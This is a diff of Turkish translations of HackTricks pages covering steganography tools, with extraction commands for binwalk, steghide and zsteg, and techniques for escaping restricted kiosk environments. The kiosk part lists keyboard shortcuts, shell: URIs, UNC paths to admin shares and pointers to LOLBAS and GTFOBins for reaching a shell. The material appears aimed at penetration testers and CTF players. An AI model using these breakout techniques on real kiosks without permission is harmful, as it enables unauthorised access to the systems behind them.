## CRC (hash)
* Verideki kazara değişiklikleri bulma işlevi nedeniyle daha küçük ve daha verimlidir
* Verideki kazara değişiklikleri bulma işlevi olduğundan daha küçük ve daha verimlidir
* Sabitleri tanımlamak için arama tabloları kullanır
### Tanımlama

View file

@ -1,20 +1,21 @@
# Stego Numaraları
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklam görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking numaralarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking numaralarını paylaşmak için PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}
**Zor Güvenlik Grubu Deneyin**
**Try Hard Güvenlik Grubu**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
@ -26,13 +27,13 @@ HackTricks'ı desteklemenin diğer yolları:
### **Binwalk**
Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da mevcuttur.
Gömülü gizli dosyaları ve verileri aramak için bir araç. `apt` aracılığıyla yüklenir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'da bulunabilir.
```bash
binwalk file # Displays the embedded data
binwalk -e file # Extracts the data
binwalk --dd ".*" file # Extracts all data
```
### **Foremost**
### **Önemli**
Dosyaları başlık ve altbilgilerine göre kurtarır, png görüntüleri için kullanışlıdır. Kaynağı [GitHub](https://github.com/korczis/foremost) üzerinden `apt` ile yüklenir.
```bash
@ -40,23 +41,23 @@ foremost -i file # Extracts data
```
### **Exiftool**
Dosya meta verilerini görüntülemeye yardımcı olur, [buradan](https://www.sno.phy.queensu.ca/\~phil/exiftool/) erişilebilir.
Dosya meta verilerini görüntülemeye yardımcı olur, [burada](https://www.sno.phy.queensu.ca/~phil/exiftool/) mevcuttur.
```bash
exiftool file # Shows the metadata
```
### **Exiv2**
Exiftool'a benzer şekilde, metaveri görüntüleme için kullanılır. `apt` üzerinden yüklenebilir, kaynak kodları [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi websitesi [burada](http://www.exiv2.org/) mevcuttur.
Exiftool'a benzer şekilde, metaveri görüntüleme için kullanılır. `apt` üzerinden yüklenebilir, kaynak kodu [GitHub](https://github.com/Exiv2/exiv2) üzerinde bulunabilir ve resmi websitesi [burada](http://www.exiv2.org/) yer almaktadır.
```bash
exiv2 file # Shows the metadata
```
### **Dosya**
Uğraştığınız dosyanın türünü belirleyin.
Uğraştığınız dosya türünü belirleyin.
### **Dizgeler**
Çeşitli kodlama ayarlarını kullanarak dosyalardan okunabilir dizgeler çıkarır.
Dosyalardan okunabilir dizgeleri çıkarmak için çeşitli kodlama ayarlarını kullanarak çıktıyı filtrelemek.
```bash
strings -n 6 file # Extracts strings with a minimum length of 6
strings -n 6 file | head -n 20 # First 20 strings
@ -70,11 +71,11 @@ strings -e B -n 6 file # 32bit strings (big-endian)
```
### **Karşılaştırma (cmp)**
Bir dosyanın değiştirilmiş sürümünü çevrimiçi bulunan orijinal sürümü ile karşılaştırmak için kullanışlıdır.
Çalışması değiştirilmiş bir dosyayı çevrimiçi bulunan orijinal sürümüyle karşılaştırmak için kullanışlıdır.
```bash
cmp original.jpg stego.jpg -b -l
```
## **Metinden Gizli Verilerin Çıkarılması**
## **Metinde Gizli Verileri Çıkarma**
### **Boşluklardaki Gizli Veriler**
@ -82,19 +83,19 @@ Görünüşte boş alanlardaki görünmez karakterler bilgi saklayabilir. Bu ver
## **Görüntülerden Veri Çıkarma**
### **GrafikDetay ile Görüntü Ayrıntılarını Tanımlama**
### **GrafikMagick ile Görüntü Detaylarını Tanımlama**
[GraphicMagick](https://imagemagick.org/script/download.php), görüntü dosya türlerini belirlemek ve olası bozulmaları tanımlamak için kullanılır. Bir görüntüyü incelemek için aşağıdaki komutu çalıştırın:
```bash
./magick identify -verbose stego.jpg
```
Bir hasar görmüş görüntüyü onarmak için, bir meta veri yorumu eklemek yardımcı olabilir:
Hasar görmüş bir resim üzerinde tamir denemek için, bir meta veri yorumu eklemek yardımcı olabilir:
```bash
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
```
### **Veri Gizleme İçin Steghide**
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak kolaydır ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
Steghide, `JPEG, BMP, WAV ve AU` dosyaları içine veri gizlemeyi kolaylaştırır, şifreli veri gömmeyi ve çıkarmayı sağlar. Kurulumu `apt` kullanarak basittir ve [kaynak kodu GitHub'da mevcuttur](https://github.com/StefanoDeVuono/steghide).
**Komutlar:**
@ -111,7 +112,7 @@ stegcracker <file> [<wordlist>]
```
### **PNG ve BMP Dosyaları için zsteg**
zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutu ile yapılır, [GitHub'daki kaynağı](https://github.com/zed-0xff/zsteg)ndan erişilebilir.
zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanlaşmıştır. Kurulum `gem install zsteg` komutuyla yapılır, [GitHub'daki kaynağına](https://github.com/zed-0xff/zsteg) ulaşılabilir.
**Komutlar:**
@ -122,7 +123,7 @@ zsteg, PNG ve BMP dosyalarındaki gizli verileri ortaya çıkarmak için uzmanla
**stegoVeritas**, metaverileri kontrol eder, görüntü dönüşümleri yapar ve diğer özellikler arasında LSB brute forcing uygular. Tüm seçeneklerin tam listesi için `stegoveritas.py -h` kullanın ve tüm kontrolleri gerçekleştirmek için `stegoveritas.py stego.jpg` komutunu kullanın.
**Stegsolve**, gizli metinleri veya mesajları görüntülerde ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir.
**Stegsolve**, gizli metinleri veya mesajları ortaya çıkarmak için çeşitli renk filtreleri uygular. [GitHub'da](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve) bulunabilir.
### **Gizli İçerik Tespiti için FFT**
@ -134,11 +135,11 @@ Hızlı Fourier Dönüşümü (FFT) teknikleri, görüntülerde gizli içeriği
### **Ses ve Görüntü Dosyaları için Stegpy**
Stegpy, bilgiyi görüntü ve ses dosyalarına gömmeyi sağlar ve PNG, BMP, GIF, WebP ve WAV gibi formatları destekler. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir.
Stegpy, bilgi gömme işlemine izin verir ve PNG, BMP, GIF, WebP ve WAV gibi formatları destekler. [GitHub'da](https://github.com/dhsdshdhk/stegpy) bulunabilir.
### **PNG Dosya Analizi için Pngcheck**
### **PNG Dosyası Analizi için Pngcheck**
PNG dosyalarını analiz etmek veya doğrulamak için kullanılabilir:
PNG dosyalarını analiz etmek veya doğrulamak için kullanılabilir.
```bash
apt-get install pngcheck
pngcheck stego.png
@ -185,17 +186,17 @@ Deepsound, AES-256 kullanarak ses dosyaları içinde bilgi şifreleme ve tespit
### **Sonic Visualizer**
Ses dosyalarının görsel ve analitik incelemesi için kıymetli bir araç olan Sonic Visualizer, diğer yöntemlerle tespit edilemeyen gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
Ses dosyalarının görsel ve analitik incelemesi için paha biçilmez bir araç olan Sonic Visualizer, diğer yöntemlerle algılanamayan gizli unsurları ortaya çıkarabilir. Daha fazlası için [resmi web sitesini](https://www.sonicvisualiser.org/) ziyaret edin.
### **DTMF Tones - Dial Tones**
Ses dosyalarındaki DTMF tonlarını tespit etmek, çevrimiçi araçlar aracılığıyla [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi yöntemlerle başarıyla gerçekleştirilebilir.
Ses dosyalarındaki DTMF tonlarını tespit etmek, [bu DTMF dedektörü](https://unframework.github.io/dtmf-detect/) ve [DialABC](http://dialabc.com/sound/detect/index.html) gibi çevrimiçi araçlar aracılığıyla başarıyla gerçekleştirilebilir.
## **Diğer Teknikler**
### **Binary Length SQRT - QR Code**
Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodunu temsil edebilir. Kontrol etmek için bu kısa kodu kullanın:
Bir tam sayıya karesel olarak eşit olan ikili veriler bir QR kodu temsil edebilir. Bunun kontrolü için bu kısa kod parçasını kullanın:
```python
import math
math.sqrt(2500) #50
@ -215,16 +216,17 @@ Braille çevirisi için [Branah Braille Çevirmeni](https://www.branah.com/brail
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* Hacking püf noktalarını paylaşarak PR'ler göndererek [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# KIOSK'lardan Kaçış
{% hint style="success" %}
AWS Hacking'i öğrenin ve uygulayın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve uygulayın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile</strong>!</summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**]'in koleksiyonu
* **Katılın** 💬 [**Discord grubumuza**](https://discord.gg/hRep4RUj7f) veya [**telegram grubumuza**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**]'de takip edin (https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**]'e (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**]'a (https://github.com/carlospolop/hacktricks-cloud) destek olun.
* [**Abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR gönderin.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) **karanlık ağ** destekli bir arama motorudur ve şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını kontrol etmek için ücretsiz** işlevsellikler sunar.
[**WhiteIntel**](https://whiteintel.io) şirketin veya müşterilerinin **hırsız kötü amaçlı yazılımlar** tarafından **tehlikeye atılıp atılmadığını** kontrol etmek için **ücretsiz** işlevler sunan **dark-web** destekli bir arama motorudur.
WhiteIntel'in başlıca amacı, bilgi çalan kötü amaçlı yazılımlardan kaynaklanan hesap ele geçirmeleri ve fidye saldırılarıyla mücadele etmektir.
@ -31,16 +32,16 @@ Websitesini ziyaret edebilir ve motorlarını **ücretsiz** deneyebilirsiniz:
## Fiziksel cihazı kontrol et
| Bileşen | Eylem |
| ------------- | -------------------------------------------------------------------- |
| Güç düğmesi | Cihazı kapatıp açmak başlangıç ekranını ortaya çıkarabilir |
| Güç kablosu | Gücün kısa süre kesilmesi cihazın yeniden başlatılıp başlatılmadığını kontrol edin |
| USB bağlantı noktaları | Daha fazla kısayol ile fiziksel klavye bağlayın |
| Ethernet | Ağ taraması veya dinleme daha fazla istismarı mümkün kılabilir |
| ----------- | ------------------------------------------------------------------- |
| Güç düğmesi| Cihazı kapatıp açmak başlangıç ekranını ortaya çıkarabilir |
| Güç kablosu | Gücün kısa süre kesilmesi cihazın yeniden başlatılıp başlatılmadığını kontrol edin |
| USB portları| Daha fazla kısayol içeren fiziksel klavye bağlayın |
| Ethernet | Ağ taraması veya dinleme daha fazla sömürü olanağı sağlayabilir |
## GUI uygulaması içinde olası eylemleri kontrol et
**Ortak Diyaloglar** bir dosyayı **kaydetme**, bir dosyayı **açma**, bir yazı tipi seçme, bir renk seçme... gibi seçeneklerdir. Bunların çoğu **tam bir Explorer işlevselliği sunacaktır**. Bu, bu seçeneklere erişebilirseniz Explorer işlevselliğine erişebileceğiniz anlamına gelir:
**Ortak Diyaloglar** bir dosyayı **kaydetme**, bir dosyayı **açma**, bir yazı tipi seçme, bir renk seçme... gibi seçeneklerdir. Bunların çoğu **tam bir Explorer işlevselliği sunacaktır**. Bu, bu seçeneklere erişebilirseniz Explorer işlevlerine erişebileceğiniz anlamına gelir:
* Kapat/Kapat gibi
* Aç/Aç ile
@ -62,7 +63,7 @@ Belki de **`Aç ile`** seçeneğini kullanarak bir tür kabuk açabilir/çalış
#### Windows
Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada kullanılabilecek daha fazla ikili dosyayı bulun: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
Örneğin _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ burada kullanılabilecek daha fazla komut dosyası bulabilirsiniz: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
#### \*NIX \_\_
@ -77,7 +78,7 @@ _bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://g
* **Sembolik bağlantılar**
* **Kısayollar**: CTRL+N (yeni oturum aç), CTRL+R (Komutları Yürüt), CTRL+SHIFT+ESC (Görev Yöneticisi), Windows+E (explorer'ı aç), CTRL-B, CTRL-I (Favoriler), CTRL-H (Geçmiş), CTRL-L, CTRL-O (Dosya/Aç Diyalogu), CTRL-P (Yazdırma Diyalogu), CTRL-S (Farklı Kaydet)
* Gizli Yönetici menüsü: CTRL-ALT-F8, CTRL-ESC-F9
* **Kabuk URI'leri**: _shell:Yönetici Araçları, shell:Belgeler Kütüphanesi, shell:Kütüphaneler shell:KullanıcıProfilleri, shell:Kişisel, shell:AramaAnaKlasör, shell:Sistemshell:AğYerleriKlasörü, shell:Gönder, shell:KullanıcıProfilleri, shell:Ortak Yönetici Araçları, shell:BilgisayarımKlasörü, shell:İnternetKlasörü_
* **Kabuk URI'ları**: _shell:Yönetici Araçları, shell:Belgeler Kütüphanesi, shell:Kütüphaneler shell:KullanıcıProfilleri, shell:Kişisel, shell:AramaAnaKlasör, shell:Sistemshell:AğYerleriKlasörü, shell:Gönder, shell:KullanıcıProfilleri, shell:Ortak Yönetici Araçları, shell:BilgisayarımKlasörü, shell:İnternetKlasörü_
* **UNC yolları**: Paylaşılan klasörlere bağlanmak için yollar. Yerel makinenin C$'sine bağlanmayı denemelisiniz ("\\\127.0.0.1\c$\Windows\System32")
* **Daha fazla UNC yolu:**
@ -92,24 +93,6 @@ _bash, sh, zsh..._ Daha fazlası burada: [https://gtfobins.github.io/](https://g
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
### İkili Dosyalarınızı İndirin
Konsol: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
### Tarayıcıdan dosya sistemine erişim
| YOL | YOL | YOL | YOL |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
### Kısayollar
* Sticky Keys SHIFT tuşuna 5 kez basın
@ -123,7 +106,7 @@ Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](htt
* WINDOWS+R Çalıştır
* WINDOWS+U Kolay Erişim Merkezi
* WINDOWS+F Arama
* SHIFT+F10 İçerik Menüsü
* SHIFT+F10 Bağlam Menüsü
* CTRL+SHIFT+ESC Görev Yöneticisi
* CTRL+ALT+DEL Yeni Windows sürümlerinde başlangıç ekranı
* F1 Yardım F3 Arama
@ -135,44 +118,44 @@ Kayıt defteri düzenleyici: [https://sourceforge.net/projects/uberregedit/](htt
* CTRL+O Dosya Aç
* CTRL+S Kaydet CTRL+N Yeni RDP / Citrix
### Kaydırmalar
### Kaydırma
* Sol kenardan sağa kaydırarak tüm açık Pencereleri görebilir, KIOSK uygulamasını küçültebilir ve doğrudan işletim sistemine erişebilirsiniz;
* Sağ kenardan sola kaydırarak Eylem Merkezi'ni açabilir, KIOSK uygulamasını küçültebilir ve doğrudan işletim sistemine erişebilirsiniz;
* Sol kenardan sağa kaydırarak tüm açık Pencereleri görebilir, KIOSK uygulamasını küçülterek tüm işletim sistemine doğrudan erişebilirsiniz;
* Sağ kenardan sola kaydırarak Eylem Merkezi'ni açabilir, KIOSK uygulamasını küçülterek tüm işletim sistemine doğrudan erişebilirsiniz;
* Üst kenardan içeri kaydırarak tam ekran modunda açılan bir uygulama için başlık çubuğunu görünür hale getirebilirsiniz;
* Alt kenardan yukarı kaydırarak tam ekran uygulamada görev çubuğunu gösterebilirsiniz.
* Alt kenardan yukarı kaydırarak tam ekran bir uygulamada görev çubuğunu gösterebilirsiniz.
### İnternet Explorer Hileleri
#### 'Resim Araç Çubuğu'
Resme tıklandığında üst sol köşede görünen bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezgini'nde Açma gibi işlemleri yapabilirsiniz. Kiosk'un Internet Explorer kullanıyor olması gerekmektedir.
Tıklanıldığında resmin sol üst köşesinde görünen bir araç çubuğudur. Kaydetme, Yazdırma, Mailto, "Resimlerim"i Gezgini'nde Açma gibi işlemleri yapabilirsiniz. Kiosk'un İnternet Explorer kullanıyor olması gerekmektedir.
#### Shell Protokolü
Explorer görünümü elde etmek için bu URL'leri yazın:
* `shell:Administrative Tools`
* `shell:DocumentsLibrary`
* `shell:Libraries`
* `shell:UserProfiles`
* `shell:Personal`
* `shell:SearchHomeFolder`
* `shell:NetworkPlacesFolder`
* `shell:SendTo`
* `shell:UserProfiles`
* `shell:Common Administrative Tools`
* `shell:MyComputerFolder`
* `shell:InternetFolder`
* `Shell:Profile`
* `Shell:ProgramFiles`
* `Shell:System`
* `Shell:ControlPanelFolder`
* `shell:Yönetim Araçları`
* `shell:Belgeler Kütüphanesi`
* `shell:Kütüphaneler`
* `shell:Kullanıcı Profilleri`
* `shell:Kişisel`
* `shell:AramaAnaKlasör`
* `shell:AğYerleriKlasörü`
* `shell:Gönder`
* `shell:KullanıcıProfilleri`
* `shell:Ortak Yönetim Araçları`
* `shell:BilgisayarımKlasörü`
* `shell:İnternetKlasörü`
* `Shell:Profil`
* `Shell:ProgramDosyaları`
* `Shell:Sistem`
* `Shell:DenetimMasasıKlasörü`
* `Shell:Windows`
* `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Denetim Masası
* `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Bilgisayarım
* `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Ağ Yerlerim
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
* `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> İnternet Explorer
### Dosya Uzantılarını Göster
@ -180,7 +163,7 @@ Daha fazla bilgi için bu sayfaya bakın: [https://www.howtohaven.com/system/sho
## Tarayıcı Hileleri
iKat sürümlerini yedekleyin:
Yedek iKat sürümleri:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\\
@ -192,34 +175,34 @@ Kaynak: https://medium.com/@Rend\_/give-me-a-browser-ill-give-you-a-shell-de1981
### Jestler ve Düğmeler
* Dört (veya beş) parmakla yukarı kaydırın / Ana düğmeye çift dokunun: Çoklu görev görünümünü görmek ve Uygulama değiştirmek için
* Dört (veya beş) parmakla yukarı kaydırın / Ana düğmeye iki kez dokunun: Çoklu görev görünümünü görmek ve Uygulama değiştirmek için
* Dört veya beş parmakla bir yöne kaydırın: Bir sonraki/önceki Uygulamaya geçmek için
* Beş parmakla ekrana sıkıştırın / Ana düğmeye dokunun / Ekrana hızlı bir şekilde alttan yukarı doğru bir parmakla kaydırın: Ana ekrana erişmek için
* Ekrana alttan 1-2 inç (yavaşça) bir parmakla kaydırın: Dock görünecektir
* Ekrana üstten 1 parmakla aşağı doğru kaydırın: Bildirimlerinizi görmek için
* Ekranın sağ üst köşesinden 1 parmakla aşağı doğru kaydırın: iPad Pro'nun kontrol merkezini görmek için
* Ekrandan sol kenara doğru 1-2 inçlik bir parmakla kaydırın: Bugün görünümünü görmek için
* Ekrandan hızlıca sağa veya sola doğru 1 parmakla kaydırın: Bir sonraki/önceki Uygulamaya geçmek için
* Üst sağ köşesindeki On/**Off**/Sleep düğmesini basılı tutun + Kaydırmayı sağa doğru hareket ettirin: Kapatmak için
* Üst sağ köşesindeki On/**Off**/Sleep düğmesine ve Ana düğmeye birkaç saniye basın: Zorla kapatmak için
* Üst sağ köşesindeki On/**Off**/Sleep düğmesine ve Ana düğmeye hızlıca basın: Ekranda sol alt köşede belirecek bir ekran görüntüsü almak için. Her iki düğmeye de aynı anda çok kısa süre basın, birkaç saniye basılı tutarsanız zorla kapatma gerçekleşir.
* Beş parmakla ekrana yaklaşın / Ana düğmeye dokunun / Ekrana alttan hızlı bir şekilde bir parmakla yukarı kaydırın: Ana ekrana erişmek için
* Bir parmakla ekranın altından yavaşça 1-2 inç yukarı kaydırın: Dock görünecektir
* Bir parmakla ekranın üstünden aşağı doğru kaydırın: Bildirimlerinizi görmek için
* Ekranın sağ üst köşesinden bir parmakla aşağı doğru kaydırın: iPad Pro'nun kontrol merkezini görmek için
* Ekranın solundan bir parmakla 1-2 inç kaydırın: Bugün görünümünü görmek için
* Ekrandan hızlı bir şekilde sağa veya sola doğru bir parmakla kaydırın: Bir sonraki/önceki Uygulamaya geçmek için
* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesini basılı tutun + Kaydırıcıyı sağa kadar tüm yol boyunca kaydırın: Kapatmak için
* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesine ve Ana düğmeye birkaç saniye basılı tutun: Zorla kapatmak için
* Üst sağ köşesindeki On/**Kapalı**/Uyku düğmesine ve Ana düğmeye hızlıca basın: Ekranda sol alt köşede belirecek bir ekran görüntüsü almak için. Her iki düğmeye de aynı anda çok kısa süre basın, birkaç saniye basılı tutarsanız zorla kapatma gerçekleşir.
### Kısayollar
Bir iPad klavyeniz veya USB klavye adaptörünüz olmalıdır. Uygulamadan kaçmanıza yardımcı olabilecek yalnızca kısayollar burada gösterilecektir.
Bir iPad klavyesine veya USB klavye adaptörüne sahip olmalısınız. Sadece uygulamadan kaçmanıza yardımcı olabilecek kısayollar burada gösterilecektir.
| Tuş | İsim |
| Tuş | Adı |
| --- | ------------ |
| ⌘ | Komut |
| ⌥ | Seçenek (Alt) |
| ⌘ | Komut |
| ⌥ | Seçenek (Alt)|
| ⇧ | Shift |
| ↩ | Return |
| ⇥ | Sekme |
| ⇥ | Sekme |
| ^ | Kontrol |
| ← | Sol Ok |
| → | Sağ Ok |
| ↑ | Yukarı Ok |
| ↓ | Aşağı Ok |
| ← | Sol Ok |
| → | Sağ Ok |
| ↑ | Yukarı Ok |
| ↓ | Aşağı Ok |
#### Sistem kısayolları
@ -227,69 +210,69 @@ Bu kısayollar, iPad'in kullanımına bağlı olarak görsel ayarlar ve ses ayar
| Kısayol | Eylem |
| -------- | ------------------------------------------------------------------------------ |
| F1 | Ekranı Karart |
| F1 | Ekranı Karart |
| F2 | Ekranı Parlakla |
| F7 | Bir şarkı geri al |
| F8 | Oynat/Duraklat |
| F9 | Bir sonraki şarkıya atla |
| F10 | Sessiz |
| F11 | Ses düzeyini azalt |
| F12 | Ses düzeyini artır |
| ⌘ Space | Mevcut dillerin listesini görüntüle; birini seçmek için tekrar boşluğa dokunun. |
| F7 | Bir şarkı geriye git |
| F8 | Oynat/Duraklat |
| F9 | Bir şarkı ileri git |
